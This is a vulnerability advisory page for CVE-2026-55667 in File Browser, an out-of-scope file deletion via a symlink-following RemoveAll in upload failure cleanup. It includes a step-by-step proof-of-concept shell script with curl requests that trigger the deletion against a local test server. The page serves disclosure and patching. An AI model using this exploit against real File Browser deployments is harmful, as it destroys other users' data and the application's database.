Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-55667 — filebrowser

🟠 CVSS 8.2 — High ✅ No Known Exploit NVD
8.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Summary

A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.

ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.

Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174

Details

CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:

1. ScopedFs.Remove and ScopedFs.RemoveAll skip guard() (files/scoped.go:138-144) — they call s.base.Remove/RemoveAll directly, unlike every other method.

2. resourcePostHandler does not return on a NewFileInfo containment error (http/resource.go:125-180). For an out-of-scope path NewFileInfo fails, but the handler only uses that for the override branch (if err == nil) and falls through to writeFile, which is correctly guard-blocked and errors — triggering the failure-cleanup _ = d.user.Fs.RemoveAll(r.URL.Path) (http/resource.go:173) on the unvalidated path.

Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.

Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.

Precondition

An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.

Proof of concept

Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:

```sh

# 0. Layout: server root + an out-of-scope dir holding the victim file

mkdir -p /tmp/fb-root /tmp/fb-out

echo keep > /tmp/fb-out/victim.txt

# 1. Init DB and pin the server root

filebrowser -d /tmp/fb.db config init

filebrowser -d /tmp/fb.db config set --root /tmp/fb-root

# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it

filebrowser -d /tmp/fb.db users add victim hunter2 \

--scope=/scope \

--perm.admin=false --perm.create=true \

--perm.modify=false --perm.delete=false \

--perm.rename=false --perm.share=false --perm.execute=false

# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model

# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.

ln -s /tmp/fb-out /tmp/fb-root/scope/link

# 4. Start the server

filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080

# 5. Log in; the JWT is returned as the raw response body

JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \

-H 'Content-Type: application/json' \

-d '{"username":"victim","password":"hunter2"}')

# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,

# and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").

curl -i -X POST -H "X-Auth: $JWT" --data 'x' \

'http://127.0.0.1:8080/api/resources/link/victim.txt'

# 7. Impact check

test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"

```

Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):

```text

GET /api/raw/link/secret.txt -> 403 (read containment still holds — the v2.63.14 fix)

POST /api/resources/link/secret.txt -> 403 (wri

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Affected software

CVE-2026-55667 is recorded against 3 packages.

  • github.com/filebrowser/filebrowser
  • github.com/filebrowser/filebrowser/v2
  • unknown

Timeline and source

Published on 22 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)

Other advisories for this package

github.com/filebrowser/filebrowser has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity High
CVSS Score 8.2
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-07-22
Updated 2026-08-20
Modified 2026-07-22
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/filebrowser/filebrowser
github.com/filebrowser/filebrowser/v2
unknown

Similar Threats

Site Security Check

Is filebrowser part of your stack?

CVE-2026-55667 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026